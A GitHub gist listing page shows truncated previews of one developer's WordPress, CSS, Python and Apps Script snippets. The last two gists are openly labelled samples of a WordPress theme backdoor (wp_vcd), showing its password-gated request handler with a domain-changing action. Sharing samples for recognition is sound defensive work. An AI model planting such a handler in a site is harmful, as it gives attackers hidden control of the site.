Skip to content

Instantly share code, notes, and snippets.

View stefanpejcic's full-sized avatar
:octocat:
Live long and may the source be with you

Stefan Pejcic stefanpejcic

:octocat:
Live long and may the source be with you
View GitHub Profile
@stefanpejcic
stefanpejcic / gist:303f75a3d58da2d9911c0eac1f6c5f87
Created July 20, 2019 20:48
WordPress custom author page template
<div id="content" class="narrowcolumn">
<!-- This sets the $curauth variable -->
<?php if(isset($_GET['author_name'])) : $curauth = get_userdatabylogin($author_name); else : $curauth = get_userdata(intval($author)); endif; ?>
<h3>About: <?php echo $curauth->display_name; ?></h3>
<strong>Website:</strong> <a href="<?php echo $curauth->user_url; ?>"><?php echo $curauth->user_url; ?></a>
@stefanpejcic
stefanpejcic / readme.txt
Created July 21, 2019 10:57
Default readme file for wordpress.org plugin
=== Plugin Name ===
Contributors: (this should be a list of wordpress.org userid's)
Donate link: https://example.com/
Tags: comments, spam
Requires at least: 4.8
Tested up to: 5.3
Stable tag: 5.2
Requires PHP: 5.2.4
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
@stefanpejcic
stefanpejcic / fontsize.js
Last active July 24, 2019 11:27
Font size extension for Medium Editor https://github.com/yabwe/medium-editor/
import MediumEditor from 'medium-editor';
import './html-editor.fontsize.extension.scss';
/**
* CompanyFontSizes
* A simple extension to allow the selection of font size directly in the action toolbar
*/
const CompanyFontSizes = MediumEditor.Extension.extend({
/* 767px and above screen sizes */
@media only screen and (min-width:767px){
/* Mkdf sidebar */
.mkdf-wrapper .mkdf-sidebar-standard .mkdf-sidebar{
display: none;
}
/* Column 10/12 */
.mkdf-wrapper .mkdf-page-content-holder{
/* 767px and below screen sizes */
@media only screen and (max-width:767px){
/* Mkdf sidebar */
.mkdf-wrapper .mkdf-sidebar-standard .mkdf-sidebar{
display: block;
margin-top:-180px!important;
border-color: transparent;
}
@stefanpejcic
stefanpejcic / movies.py
Last active August 29, 2019 12:06
IMDB rating for movies in cinema with python
# -*- coding: UTF-8 -*-
from splinter import Browser
import sys
executable_path = {'executable_path':'C:\Program Files (x86)\Google\Chrome\Application\chrome.exe'}
#browser = Browser('chrome', **executable_path)
movie_titles = []
movie_ratings = []
@stefanpejcic
stefanpejcic / Return to Shop
Created August 10, 2019 12:10
custom link
add_filter( 'woocommerce_return_to_shop_redirect', 'custom_change_return_shop_url' );
function custom_change_return_shop_url() {
return 'https://pluginsbay.com/plugins/';
}
@stefanpejcic
stefanpejcic / paypal-to-google-sheets.php
Created August 12, 2019 09:51
Search gmail for receipts from paypal and than add them inside a google spreadsheet
function searchGmail() {
var threads = GmailApp.search("from:paypal", 0, 10);
var sheet = SpreadsheetApp.getActiveSheet();
var header = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues()[0];
for (var t=0; t<threads.length; t++) {
@stefanpejcic
stefanpejcic / functions.php
Created August 17, 2019 09:45
malware in functions.php of WordPress theme
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6ebe0d01459d18d46880e966a230cec1'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@stefanpejcic
stefanpejcic / original.php
Created August 17, 2019 09:46
Original malware source
<?php
if (isset($_REQUEST['action']) &amp;&amp; isset($_REQUEST['password']) &amp;&amp; ($_REQUEST['password'] == '429acb1c29e4800452a3538a8f91edd0'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))